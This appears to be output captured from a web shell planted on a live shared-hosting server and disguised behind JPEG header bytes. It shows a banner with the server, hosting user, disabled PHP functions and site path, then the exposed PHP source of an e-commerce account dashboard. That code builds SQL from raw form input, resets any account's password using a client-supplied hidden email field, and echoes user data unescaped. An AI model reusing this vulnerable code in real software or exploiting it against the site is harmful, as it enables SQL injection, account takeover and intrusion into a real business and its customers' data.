ÿØÿà JFIF ` ` ÿáfExif MM * ‡i >ê 2 ê ê P ê ÿþ ?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
|
Server : LiteSpeed System : Linux in-mum-web1658.main-hosting.eu 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64 User : u552919906 ( 552919906) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open Directory : /home/u552919906/domains/pallandwe.in/public_html/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
<title>Dashboard | Pall&We</title>
<?php include "include/head.php";
isLogin();
if (isset($_POST['update_detail'])) {
$id = $_SESSION['u_id'];
$fname = $_POST['fname'];
$lname = $_POST['lname'];
$email = $_POST['email'];
$phone = $_POST['phone'];
$address = $_POST['address'];
$state = $_POST['state'];
$city = $_POST['city'];
$pincode = $_POST['pincode'];
echo $sql = "UPDATE `user` SET `fname`='$fname',`lname`='$lname',`phone`='$phone',`email`='$email',`address`='$address',`city`='$city',`state`='$state',`pincode`='$pincode' WHERE `id` = '$id' ";
$sqli = mysqli_query($con, $sql);
if ($sqli) {
header('Location: dashboard.php');
}
}
if (isset($_POST['reset_pwd'])) {
$email = $_POST['email'];
$new_pwd = $_POST['new_pwd'];
$confirm_pwd = $_POST['confirm_pwd'];
// Sanitize user inputs (you can also use filter_var for more comprehensive validation)
$email = mysqli_real_escape_string($con, $email);
// Check if the email exists
$sql = "SELECT * FROM `user` WHERE `email` = '$email'";
$result = mysqli_query($con, $sql);
if ($result) {
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
if ($new_pwd == $confirm_pwd) {
$hashedNewPassword = password_hash($new_pwd, PASSWORD_DEFAULT);
$hashedNewPassword = mysqli_real_escape_string($con, $hashedNewPassword);
// Update the password
$sql1 = "UPDATE `user` SET `password`='$hashedNewPassword' WHERE `email` = '$email'";
$result1 = mysqli_query($con, $sql1);
if ($result1) {
echo "<script>alert('Password Changed Successfully.')</script>";
} else {
echo "<script>alert('Oops! Failed to Change Password.')</script>";
}
} else {
echo "<script>alert('New Password Doesn\'t Match.')</script>";
}
} else {
echo "<script>alert('Email doesn\'t exist.')</script>";
}
} else {
echo "<script>alert('Database Error.')</script>";
}
}
?>
</head>
<body>
<?php include "include/header.php" ?>
<main class="main">
<div class="page-header">
<div class="container d-flex flex-column align-items-center">
<nav aria-label="breadcrumb" class="breadcrumb-nav">
<div class="container">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item active" aria-current="page">
My Account
</li>
</ol>
</div>
</nav>
<h1>My Account</h1>
</div>
</div>
<div class="container account-container custom-account-container">
<div class="row">
<div class="sidebar widget widget-dashboard mb-lg-0 mb-3 col-lg-3 order-0">
<h2 class="text-uppercase">My Account</h2>
<ul class="nav nav-tabs list flex-column mb-0" role="tablist">
<li class="nav-item">
<a class="nav-link active" id="dashboard-tab" data-toggle="tab" href="#dashboard" role="tab" aria-controls="dashboard" aria-selected="true">Dashboard</a>
</li>
<li class="nav-item">
<a class="nav-link" id="order-tab" data-toggle="tab" href="#order" role="tab" aria-controls="order" aria-selected="true">Orders</a>
</li>
<!-- <li class="nav-item">
<a class="nav-link" id="download-tab" data-toggle="tab" href="#download" role="tab"
aria-controls="download" aria-selected="false">Downloads</a>
</li> -->
<!-- <li class="nav-item">
<a class="nav-link" id="address-tab" data-toggle="tab" href="#address" role="tab"
aria-controls="address" aria-selected="false">Addresses</a>
</li> -->
<li class="nav-item">
<a class="nav-link" id="edit-tab" data-toggle="tab" href="#edit" role="tab" aria-controls="edit" aria-selected="false">Account
details</a>
</li>
<!-- <li class="nav-item">
<a class="nav-link" id="shop-address-tab" data-toggle="tab" href="#shipping" role="tab" aria-controls="edit" aria-selected="false">Shopping Addres</a>
</li> -->
<li class="nav-item">
<a class="nav-link" href="wishlist.php">Wishlist</a>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</div>
<div class="col-lg-9 order-lg-last order-1 tab-content">
<div class="tab-pane fade show active" id="dashboard" role="tabpanel">
<div class="dashboard-content">
<p>
Hello <strong class="text-dark"><?= $user['fname'] . ' ' . $user['lname'] ?></strong> (not
<a href="logout.php" class="btn btn-link ">Log out</a>)
</p>
<!-- <p>
From your account dashboard you can view your
<a class="btn btn-link link-to-tab" href="#order">recent orders</a>,
manage your
<a class="btn btn-link link-to-tab" href="#address">shipping and billing
addresses</a>, and
<a class="btn btn-link link-to-tab" href="#edit">edit your password and account
details.</a>
</p> -->
<div class="mb-4"></div>
<div class="row row-lg">
<div class="col-6 col-md-4">
<div class="feature-box text-center pb-4">
<a href="#order" class="link-to-tab"><i class="sicon-social-dropbox"></i></a>
<div class="feature-box-content">
<h3>ORDERS</h3>
</div>
</div>
</div>
<!-- <div class="col-6 col-md-4">
<div class="feature-box text-center pb-4">
<a href="#download" class="link-to-tab"><i
class="sicon-cloud-download"></i></a>
<div class=" feature-box-content">
<h3>DOWNLOADS</h3>
</div>
</div>
</div> -->
<!-- <div class="col-6 col-md-4">
<div class="feature-box text-center pb-4">
<a href="#address" class="link-to-tab"><i
class="sicon-location-pin"></i></a>
<div class="feature-box-content">
<h3>ADDRESSES</h3>
</div>
</div>
</div> -->
<div class="col-6 col-md-4">
<div class="feature-box text-center pb-4">
<a href="#edit" class="link-to-tab"><i class="icon-user-2"></i></a>
<div class="feature-box-content p-0">
<h3>ACCOUNT DETAILS</h3>
</div>
</div>
</div>
<!-- <div class="col-6 col-md-4">
<div class="feature-box text-center pb-4">
<a href="wishlist.php"><i class="sicon-heart"></i></a>
<div class="feature-box-content">
<h3>WISHLIST</h3>
</div>
</div>
</div> -->
<div class="col-6 col-md-4">
<div class="feature-box text-center pb-4">
<a href="login.php"><i class="sicon-logout"></i></a>
<div class="feature-box-content">
<h3>LOGOUT</h3>
</div>
</div>
</div>
</div><!-- End .row -->
</div>
</div><!-- End .tab-pane -->
<div class="tab-pane fade" id="order" role="tabpanel">
<div class="order-content">
<h3 class="account-sub-title d-none d-md-block"><i class="sicon-social-dropbox align-middle mr-3"></i>Orders</h3>
<div class="order-table-container text-center">
<table class="table table-order text-left">
<thead>
<tr>
<th class="order-id">S. No.</th>
<th class="order-id">Order Id</th>
<th class="order-date">Name</th>
<th class="order-date">Date</th>
<th class="order-status">Status</th>
<th class="order-price">Total</th>
<th class="order-action">Action</th>
</tr>
</thead>
<tbody>
<?php
$u_id = $_SESSION['u_id'];
$sql = "SELECT * FROM `orders` WHERE `u_id` = '$u_id' ORDER BY `id` DESC";
$result = mysqli_query($con, $sql);
$i = 1;
while ($row = mysqli_fetch_assoc($result)) {
?>
<tr>
<th><?php echo $i++ ?></th>
<th scope="row"><?php echo $row['order_id'] ?></th>
<th><?php echo $row['fname'] . " " . $row['lname'] ?></th>
<td><?php
$format_date = $row['date'];
$newDate = date("d M, y", strtotime($format_date));
echo $newDate;
?></td>
<td><?php if ($row['order_status'] == '1') {
echo "Complete";
} else {
echo "Processing";
} ?></td>
<td>₹ <?php echo $row['final_price'] ?></td>
<td><a href="orders/<?php echo $row['order_id'] ?>" style="text-decoration: underline;">View</a></td>
</tr>
<?php } ?>
</tbody>
</table>
<hr class="mt-0 mb-3 pb-2" />
<a href="shop.php" class="btn btn-dark">Go Shop</a>
</div>
</div>
</div><!-- End .tab-pane -->
<!-- <div class="tab-pane fade" id="download" role="tabpanel">
<div class="download-content">
<h3 class="account-sub-title d-none d-md-block"><i class="sicon-cloud-download align-middle mr-3"></i>Downloads</h3>
<div class="download-table-container">
<p>No downloads available yet.</p> <a href="category.html" class="btn btn-primary text-transform-none mb-2">GO SHOP</a>
</div>
</div>
</div> -->
<!-- <div class="tab-pane fade" id="address" role="tabpanel">
<h3 class="account-sub-title d-none d-md-block mb-1"><i class="sicon-location-pin align-middle mr-3"></i>Addresses</h3>
<div class="addresses-content">
<p class="mb-4">
The following addresses will be used on the checkout page by
default.
</p>
<div class="row">
<div class="address col-md-6">
<div class="heading d-flex">
<h4 class="text-dark mb-0">Billing address</h4>
</div>
<div class="address-box">
You have not set up this type of address yet.
</div>
<a href="#billing" class="btn btn-default address-action link-to-tab">Add
Address</a>
</div>
<div class="address col-md-6 mt-5 mt-md-0">
<div class="heading d-flex">
<h4 class="text-dark mb-0">
Shipping address
</h4>
</div>
<div class="address-box">
You have not set up this type of address yet.
</div>
<a href="#shipping" class="btn btn-default address-action link-to-tab">Add
Address</a>
</div>
</div>
</div>
</div> -->
<div class="tab-pane fade" id="edit" role="tabpanel">
<h3 class="account-sub-title d-none d-md-block mt-0 pt-1 ml-1"><i class="icon-user-2 align-middle mr-3 pr-1"></i>Account Details</h3>
<div class="account-content">
<form class="mb-2" method="post">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label>First name <span class="required">*</span></label>
<input type="text" class="form-control" name="fname" value="<?php if (isset($user['fname'])) {
echo $user['fname'];
} ?>" required />
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label>Last name <span class="required">*</span></label>
<input type="text" name="lname" value="<?php if (isset($user['lname'])) {
echo $user['lname'];
} ?>" class="form-control" required />
</div>
</div>
</div>
<div class="form-group mb-3">
<label>Phone <span class="required">*</span></label>
<input type="tel" name="phone" value="<?php if (isset($user['phone'])) {
echo $user['phone'];
} ?>" class="form-control" required />
</div>
<div class="form-group mb-3">
<label>Email address <span class="required">*</span></label>
<input type="email" name="email" value="<?php if (isset($user['email'])) {
echo $user['email'];
} ?>" class="form-control" required />
</div>
<div class="form-group">
<label>Street address <span class="required">*</span></label>
<input type="text" class="form-control" name="address" value="<?php if (isset($user['address'])) {
echo $user['address'];
} ?>" required />
</div>
<div class="form-group">
<label>City <span class="required">*</span></label>
<input type="text" name="city" value="<?php if (isset($user['city'])) {
echo $user['city'];
} ?>" class="form-control" required />
</div>
<div class="form-group">
<label>State <span class="required">*</span></label>
<input type="text" name="state" value="<?php if (isset($user['state'])) {
echo $user['state'];
} ?>" class="form-control" required />
</div>
<div class="form-group">
<label>Pincode <span class="required">*</span></label>
<input type="text" class="form-control" name="pincode" value="<?php if (isset($user['pincode'])) {
echo $user['pincode'];
} ?>" required />
</div>
<div class="form-footer mb-0">
<div class="form-footer-right">
<button type="submit" name="update_detail" class="btn btn-dark py-4">
Save Address
</button>
</div>
</div>
</form>
<div class="change-password">
<form method="post">
<h3 class="text-uppercase mb-2">Password Change</h3>
<input type="hidden" name="email" value="<?php echo $user['email'] ?>">
<div class="form-group">
<label for="acc-password">New Password (leave blank to leave
unchanged)</label>
<input type="password" name="new_pwd" class="form-control" id="acc-new-password" />
</div>
<div class="form-group">
<label for="acc-password">Confirm New Password</label>
<input type="password" class="form-control" id="acc-confirm-password" name="confirm_pwd" />
</div>
<div class="form-footer mb-0">
<div class="form-footer-right">
<button type="submit" name="reset_pwd" class="btn btn-dark py-4">
Save Address
</button>
</div>
</div>
</form>
</div>
</div>
</div><!-- End .tab-pane -->
<div class="tab-pane fade" id="billing" role="tabpanel">
<div class="address account-content mt-0 pt-2">
<h4 class="title">Billing address</h4>
<form class="mb-2" action="#">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label>First name <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label>Last name <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
</div>
</div>
<div class="form-group">
<label>Company </label>
<input type="text" class="form-control">
</div>
<div class="select-custom">
<label>Country / Region <span class="required">*</span></label>
<select name="orderby" class="form-control">
<option value="" selected="selected">British Indian Ocean Territory
</option>
<option value="1">Brunei</option>
<option value="2">Bulgaria</option>
<option value="3">Burkina Faso</option>
<option value="4">Burundi</option>
<option value="5">Cameroon</option>
</select>
</div>
<div class="form-group">
<label>Street address <span class="required">*</span></label>
<input type="text" class="form-control" placeholder="House number and street name" required />
<input type="text" class="form-control" placeholder="Apartment, suite, unit, etc. (optional)" required />
</div>
<div class="form-group">
<label>Town / City <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
<div class="form-group">
<label>State / Country <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
<div class="form-group">
<label>Postcode / ZIP <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
<div class="form-group mb-3">
<label>Phone <span class="required">*</span></label>
<input type="number" class="form-control" required />
</div>
<div class="form-group mb-3">
<label>Email address <span class="required">*</span></label>
<input type="email" class="form-control" placeholder="editor@gmail.com" required />
</div>
<div class="form-footer mb-0">
<div class="form-footer-right">
<button type="submit" class="btn btn-dark py-4">
Save Address
</button>
</div>
</div>
</form>
</div>
</div><!-- End .tab-pane -->
<div class="tab-pane fade" id="shipping" role="tabpanel">
<div class="address account-content mt-0 pt-2">
<h4 class="title mb-3">Shipping Address</h4>
<form class="mb-2" action="#">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label>First name <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label>Last name <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
</div>
</div>
<div class="form-group">
<label>Company </label>
<input type="text" class="form-control">
</div>
<div class="select-custom">
<label>Country / Region <span class="required">*</span></label>
<select name="orderby" class="form-control">
<option value="" selected="selected">British Indian Ocean Territory
</option>
<option value="1">Brunei</option>
<option value="2">Bulgaria</option>
<option value="3">Burkina Faso</option>
<option value="4">Burundi</option>
<option value="5">Cameroon</option>
</select>
</div>
<div class="form-group">
<label>Street address <span class="required">*</span></label>
<input type="text" class="form-control" placeholder="House number and street name" required />
<input type="text" class="form-control" placeholder="Apartment, suite, unit, etc. (optional)" required />
</div>
<div class="form-group">
<label>Town / City <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
<div class="form-group">
<label>State / Country <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
<div class="form-group">
<label>Postcode / ZIP <span class="required">*</span></label>
<input type="text" class="form-control" required />
</div>
<div class="form-footer mb-0">
<div class="form-footer-right">
<button type="submit" class="btn btn-dark py-4">
Save Address
</button>
</div>
</div>
</form>
</div>
</div><!-- End .tab-pane -->
</div><!-- End .tab-content -->
</div><!-- End .row -->
</div><!-- End .container -->
<div class="mb-5"></div><!-- margin -->
</main><!-- End .main -->
<?php include "include/footer.php" ?>
<!-- Plugins JS File -->
<?php include "include/foot.php" ?>
</body>
</html>